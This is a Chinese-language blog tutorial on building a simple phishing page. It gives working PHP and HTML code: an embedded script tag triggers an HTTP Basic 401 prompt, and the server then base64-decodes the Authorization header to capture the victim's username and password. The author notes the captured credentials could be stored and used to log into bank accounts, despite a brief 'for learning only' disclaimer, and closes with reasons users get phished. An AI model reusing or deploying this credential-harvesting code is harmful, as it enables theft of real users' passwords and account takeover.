乐趣区

一起来写个钓鱼

虽然这篇文章的标题是一起来写个钓鱼的站点, 但是希望仅仅把它当作饭后的谈资就好, 切不可在实际生活中真正的使用。不然, 网络警察到你家查你水表的时候, 我可不负责任啊。而实际上要真心做到对应的效果很难, 只是作为安全知识的入门学习。
闲话少说, 还是直接进入主题吧。这里是需要实现的一些工具的清单:

  • PHP 5.x 及以上版本
  • 1 个现代的浏览器, 不要拿 IE6 这样老古董的浏览器出来, 会死人的
  • Apache 还是 Nginx 随意, 能用就好
  • 一款文本编辑器, 比如记事本

工具都准备妥当了, 那么就直奔主题了哦。老司机要开车了, 要坐好扶稳了。
在 Web 中钓鱼的方式有很多方式, 不过这个名字还是源自生活, 此时联想到在长江边垂钓的场景, 滚滚长江东逝水 …。
万事俱备只欠东风, 工具都准备好了, 现在还缺的就是鱼了。鱼从哪里来, 自然就是从受害者身上谋取啦。而这里我们利用 1 种 401 认证的方式来钓鱼。

实现过程

首先, 我们新建 1 个 index.php 的脚本, 其内容类似如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title> 首页 </title>
</head>
<body>
    <h1> 首页 </h1>
    <script type="text/javascript" src="test.php"></script>
</body>
</html>

内容简单的很, 实际上真正有用的就是这么一行:

<script type="text/javascript" src="test.php"></script>

我们使用脚本的方式异步请求 php 的 1 个脚本。搞技术的要求能举一反三, 我见过一些信息安全人员, 除了会写 POC 外和使用一些工具外, 对应的原理是一窍不懂的。甚至为什么可以这样做是一问三不知的。
很多人以为黑客是群很聪明的人, 实际不然, 不排除这里面有一些所谓的脚本小子, 整天复制搞破坏的。
闲外话还是少说, 如果你觉得上面的 script 标签有点碍眼, 你完全可以换, 比如换成 link、img 等标签完全都是可以的。这就是举一反三的能力吧, 毕竟真实场景中很少有刚好就那么巧可以被利用的。
test.php 中的内容类似如下:

<?php
if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){session_start();
    $value = $_SERVER['HTTP_AUTHORIZATION'];
    $admin = base64_decode(substr($value, 6));
    $_SESSION['info'] = $admin;
}else{header("Content-type: text/html; charset=utf-8");
    header('WWW-Authenticate: Basic realm="Please enter your username and password!"');
}

我们判断当前服务器中是否存在键名 HTTP_AUTHORIZATION, 如果不存在则直接抛出 1 个 401 的认证请求头。而浏览器获取到该 401 状态后, 会自动弹出 1 个对话框要求使用者输入用户名和密码。
如果使用者按照我们剧情的安排输入了用户名和密码, 那么我们就成功钓到了 1 条 (人) 鱼。
需要注意的是, 这里我们使用的是 Basci 认证, 而不是 HTTP 中另 1 个 Digest 的认证。不然到时传递过来的是 MD5 的结果, 还需要花费时间解密, 得不偿失。
眼尖的你可能发现, 我们使用的是 Base64 解码函数 base64_decode。没错,Basic 认证的用户名和密码会使用 Base64 进行编码, 直接获取到其内容进行解码即可, 是不是很简单。
在这里, 我们将其存入到 session 中, 以便可以在前端显示, 这样就可以看到效果了。而更多情况下, 是直接存储到文件或数据库中, 接着搞不好就拿着这些账号去登录你的银行卡。
为了看出效果, 我们在 index.php 中添加如下几行代码:

<?php
session_start();
if(array_key_exists("info",$_SESSION)){$value = $_SESSION['info'];
    var_dump($value);
}
?>

演示过程

下面是演示的效果过程, 首先是访问首页:

然后入套, 输入自己的用户名和密码:

鱼上钩了, 被钓了起来:

结语

看到, 你可能会骂娘了。这么简单的东西, 搞得这么神秘兮兮。
实际上, 原理的东西总是很简单的, 重要是组合利用。如果让自己隐匿的更深一些, 还有更具诱惑性才能让猎物上钩。而钓鱼的过程不就是利用如下几个切入点:

  • 诱饵味道做的很不错
  • 鱼钩藏匿在诱饵里面
  • 鱼肚子饿了
  • 鱼发现诱饵味道很不错, 就咬了一口

结果鱼就上钩了。而人之所以会被钓的过程主要还是如下几个情况:

  • 用户安全意识薄弱, 过于盲目相信浏览器
  • 浏览器厂商相关安全没有做好, 致使用户受害
  • 脚本小子页面做的很不错, 真假难辨

当然不排除还有其他一些情况, 实在想不出来了, 脑洞太小。
当然上面这么丑陋的网站, 百分百是钓不到鱼的。

退出移动版